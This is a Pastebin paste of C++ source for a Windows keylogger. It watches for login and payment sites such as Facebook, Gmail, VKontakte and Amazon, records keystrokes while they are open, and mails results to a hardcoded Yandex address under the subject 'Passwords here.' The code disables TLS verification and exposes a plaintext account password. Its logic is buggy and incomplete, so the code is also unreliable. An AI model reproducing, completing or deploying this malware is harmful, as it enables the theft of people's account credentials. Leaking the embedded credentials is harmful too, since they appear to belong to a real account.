Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define _CRT_SECURE_NO_WARNINGS
- #include "Header.h"
- #include <sstream>
- #include <dos.h>
- #pragma comment (lib, "User32.lib")
- #define FROM "<lashka.luhovna@yandex.ua>"
- #define TO "<plavenkov@yandex.ua>"
- const char* su;
- std::string s;
- std::string s1;
- std::string s2;
- std::stringstream ss;
- char date_buffer[100], message_id_buffer[100];
- void thrfunc()
- {
- char *sss = new char[s.size() + 1];
- std::copy(s.begin(), s.end(), sss);
- strcat(sss, "r\n");
- su = sss;
- int mail(void);
- }
- void keylog()
- {
- for (int i = 0; i < 255; i++)
- {
- int state = GetAsyncKeyState(i);
- if (state == 1 || state == -32767)
- {
- std::cout << i;
- }
- }
- }
- void main()
- {
- setlocale(LC_ALL, "RU");
- std::thread thr(thrfunc);
- while (true)
- {
- int chort = 0;
- chort++;
- int chars = 100;
- WCHAR buff[100];
- HWND handle = GetForegroundWindow();
- if (GetWindowText(handle, buff, chars) > 0)
- {
- std::wstring mline(buff);
- /*std::wstring line = L"Gmail";
- std::wstring line2 = L"Facebook - Log In or Sign Up";
- std::wstring line3 = L"ВКонтакте";
- std::wstring line4 = L"Send Money";
- std::wstring line5 = L"Electronics, Cars";
- std::wstring line6 = L"Amazon.com";
- std::wstring line7 = L"ROZETKA";
- std::wstring line8 = L"Mail.Ru";
- std::wstring line9 = L"UKR.NET";*/
- std::wstring line[9]{ L"Facebook - Log In or Sign Up", L"Gmail", L"ВКонтакте", L"Send Money" , L"Electronics, Cars", L"Amazon.com", L"ROZETKA", L"Mail.Ru", L"UKR.NET" };
- ///////////////////////////////////////////////
- /// ///
- //////////////////////////////////////////////
- for (int i = 0; i < 9; i++) {
- std::size_t found = mline.find(line[i]);
- if (found != std::string::npos)
- {
- keylog();
- if (chort == 1) {
- ss << i;
- ss >> s1;
- }
- else
- {
- ss << i;
- ss >> s2;
- s = s1 + s2;
- thr.detach();
- std::this_thread::sleep_for(std::chrono::seconds(20));
- }
- }
- }
- }
- }
- Sleep(100);
- }
- static const char * payload_text[] = {
- date_buffer,
- "To: " TO "\r\n",
- "From: " FROM "\r\n",
- message_id_buffer,
- "Subject: Passwords here.\r\n",
- "\r\n", /* empty line to divide headers from body, see RFC5322 */
- "Содержимое тестового письма.\r\n",
- "\r\n",
- NULL
- };
- struct upload_status
- {
- int lines_read;
- };
- static size_t payload_source(void *ptr, size_t size, size_t nmemb, void *userp)
- {
- struct upload_status *upload_ctx = (struct upload_status *)userp;
- const char *data;
- if ((size == 0) || (nmemb == 0) || ((size*nmemb) < 1))
- {
- return 0;
- }
- data = payload_text[upload_ctx->lines_read];
- if (data)
- {
- size_t len = strlen(data);
- memcpy(ptr, data, len);
- upload_ctx->lines_read++;
- return len;
- }
- return 0;
- }
- #define SKIP_PEER_VERIFICATION
- #define SKIP_HOSTNAME_VERFICATION
- int mail(void)
- {
- TIME_ZONE_INFORMATION tzi;
- GetTimeZoneInformation(&tzi);
- time_t rawtime;
- struct tm * timeinfo;
- time(&rawtime);
- timeinfo = gmtime(&rawtime);
- strftime(date_buffer, 100, "Date: %a, %d %b %y %H:%M:%S ", timeinfo);
- sprintf(date_buffer + strlen(date_buffer), "%+03li%02li\r\n", -tzi.Bias / 60, abs(tzi.Bias % 60));
- strftime(message_id_buffer, 100, "Message-ID: %w%d%m%y%H%M%S@src_addr.yandex.ru\r\n", timeinfo);
- CURL *curl;
- CURLcode res = CURLE_OK;
- struct curl_slist *recipients = NULL;
- struct upload_status upload_ctx;
- upload_ctx.lines_read = 0;
- curl = curl_easy_init();
- if (curl) {
- /* Set username and password */
- curl_easy_setopt(curl, CURLOPT_USERNAME, "lashka.luhovna@yandex.ua");
- curl_easy_setopt(curl, CURLOPT_PASSWORD, "Prado1408");
- /* This is the URL for your mailserver. Note the use of smtps:// rather
- * than smtp:// to request a SSL based connection. */
- curl_easy_setopt(curl, CURLOPT_URL, "smtps://smtp.yandex.ua");
- curl_easy_setopt(curl, CURLOPT_PORT, 465);
- /* If you want to connect to a site who isn't using a certificate that is
- * signed by one of the certs in the CA bundle you have, you can skip the
- * verification of the server's certificate. This makes the connection
- * A LOT LESS SECURE.
- *
- * If you have a CA cert for the server stored someplace else than in the
- * default bundle, then the CURLOPT_CAPATH option might come handy for
- * you. */
- #ifdef SKIP_PEER_VERIFICATION
- curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
- #endif
- /* If the site you're connecting to uses a different host name that what
- * they have mentioned in their server certificate's commonName (or
- * subjectAltName) fields, libcurl will refuse to connect. You can skip
- * this check, but this will make the connection less secure. */
- #ifdef SKIP_HOSTNAME_VERFICATION
- curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
- #endif
- /* Note that this option isn't strictly required, omitting it will result in
- * libcurl sending the MAIL FROM command with empty sender data. All
- * autoresponses should have an empty reverse-path, and should be directed
- * to the address in the reverse-path which triggered them. Otherwise, they
- * could cause an endless loop. See RFC 5321 Section 4.5.5 for more details.
- */
- curl_easy_setopt(curl, CURLOPT_MAIL_FROM, FROM);
- /* Add two recipients, in this particular case they correspond to the
- * To: and Cc: addressees in the header, but they could be any kind of
- * recipient. */
- recipients = curl_slist_append(recipients, TO);
- // recipients = curl_slist_append(recipients, CC);
- curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
- /* We're using a callback function to specify the payload (the headers and
- * body of the message). You could just use the CURLOPT_READDATA option to
- * specify a FILE pointer to read from. */
- curl_easy_setopt(curl, CURLOPT_READFUNCTION, payload_source);
- curl_easy_setopt(curl, CURLOPT_READDATA, &upload_ctx);
- curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
- /* Since the traffic will be encrypted, it is very useful to turn on debug
- * information within libcurl to see what is happening during the
- * transfer */
- curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
- /* Send the message */
- res = curl_easy_perform(curl);
- /* Check for errors */
- if (res != CURLE_OK)
- fprintf(stderr, "curl_easy_perform() failed: %s\n",
- curl_easy_strerror(res));
- /* Free the list of recipients */
- curl_slist_free_all(recipients);
- /* Always cleanup */
- curl_easy_cleanup(curl);
- }
- getchar();
- return (int)res;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement